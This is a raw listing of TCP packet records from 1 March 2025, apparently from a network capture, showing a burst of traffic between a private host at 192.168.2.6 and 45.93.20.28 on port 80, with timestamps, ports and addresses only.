Mar 1, 2025 16:02:22.407401085 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407443047 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.407917023 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.408127069 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.408215046 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.408226967 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.408238888 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.408257961 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.408283949 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.534970045 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.534987926 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535000086 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535053015 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535062075 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535067081 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535105944 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535111904 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535145998 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535429955 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535459995 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535473108 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535474062 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535501957 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535515070 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535823107 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535842896 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535855055 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535866976 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535881042 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535901070 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.535964966 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.535979033 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.536009073 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.536021948 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.536653042 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.536673069 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.536684990 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.536698103 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.536711931 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.536736012 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.536767006 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.536780119 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.536808014 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.536819935 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.537503958 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.537547112 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.537571907 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.537584066 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.537614107 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.537626028 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.537641048 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.537653923 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.537689924 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.537702084 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.538424015 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.538436890 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.538470984 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.538485050 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671258926 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671273947 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671293020 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671307087 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671334028 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671344995 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671351910 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671359062 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671394110 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671406031 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671662092 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671701908 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671714067 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671726942 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671751022 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671760082 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671768904 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671782017 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671808004 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671819925 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671859980 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671873093 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.671900034 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.671911001 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.672627926 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.672669888 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.672671080 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.672693968 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.672707081 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.672712088 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.672734022 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.672743082 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.672780037 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.672791958 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.672804117 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.672820091 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.672832012 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.672842979 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.673590899 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.673631907 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.673635006 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.673649073 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.673672915 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.673682928 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.673775911 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.673789024 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.673799992 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.673815966 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.673823118 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.673827887 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.673846006 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.673862934 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.674552917 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.674595118 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.674606085 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.674618959 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.674644947 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.674654961 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.674757004 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.674771070 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.674782991 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.674796104 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.674797058 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.674813986 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.674825907 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.674855947 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.675596952 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.675610065 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.675621986 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.675640106 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.675652981 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.675673962 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.675673962 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.675688028 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.675704002 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.675714016 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.675723076 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.675738096 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.675749063 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.675764084 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.676579952 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.676592112 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.676610947 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.676620960 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.676624060 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.676636934 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.676639080 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.676647902 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.676651955 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.676677942 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.676677942 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.676692009 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791596889 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791618109 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791630983 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791649103 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791651011 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791667938 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791688919 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791707993 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791723013 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791757107 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791762114 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791774035 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791793108 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791810036 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791872025 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791884899 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791896105 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.791908026 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791923046 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.791943073 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.792251110 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.792289019 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.792301893 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.792315006 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.792335987 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.792351007 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.792550087 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.792561054 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.792573929 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.792583942 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.792594910 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.792602062 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.792608976 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.792617083 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.792630911 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.792646885 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.793339014 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793349981 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793360949 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793374062 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793385029 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793387890 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.793394089 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793406010 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793416023 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793426037 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.793430090 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793443918 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793443918 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.793468952 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.793509960 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.793844938 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793857098 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793867111 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.793881893 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.793899059 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.793998003 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794009924 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794018984 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794032097 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794034004 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.794111967 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794123888 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794133902 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794137955 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.794157028 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.794171095 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.794753075 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794764996 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794775009 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794794083 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.794820070 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.794924974 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794938087 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794949055 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794960022 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.794960976 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.794989109 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.794997931 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795008898 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795020103 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795037031 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.795047998 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.795659065 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795676947 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795687914 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795701027 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.795720100 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795723915 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.795733929 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795746088 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795754910 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.795756102 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.795778990 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.795799017 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.883497953 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883512020 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883524895 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883557081 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.883575916 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.883651018 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883662939 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883677006 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883693933 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883697033 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.883713961 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.883738995 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.883804083 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883816004 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883826017 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883846998 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.883868933 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.883941889 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883955002 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.883990049 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884007931 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884082079 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884119034 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884277105 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884291887 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884305954 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884330034 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884355068 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884464979 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884480953 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884495974 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884500980 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884510040 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884521008 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884526014 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884537935 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884553909 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884572029 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884625912 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884639025 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884664059 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884675980 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884829998 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884841919 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884854078 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.884876013 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.884897947 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885009050 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885021925 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885032892 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885046005 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885050058 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885071993 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885092974 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885175943 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885186911 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885200024 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885212898 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885214090 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885226965 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885232925 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885252953 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885277033 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885651112 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885664940 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885677099 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885691881 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885716915 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885793924 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885806084 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885817051 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885839939 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885845900 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885860920 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885885954 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.885972023 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.885984898 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.886007071 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.886022091 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.920855045 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.920874119 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.920918941 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.920931101 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.920943022 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921057940 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921057940 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921080112 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921092987 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921108007 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921118021 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921154022 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.921242952 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921256065 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921276093 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.921282053 CET	49710	80	192.168.2.6	45.93.20.28
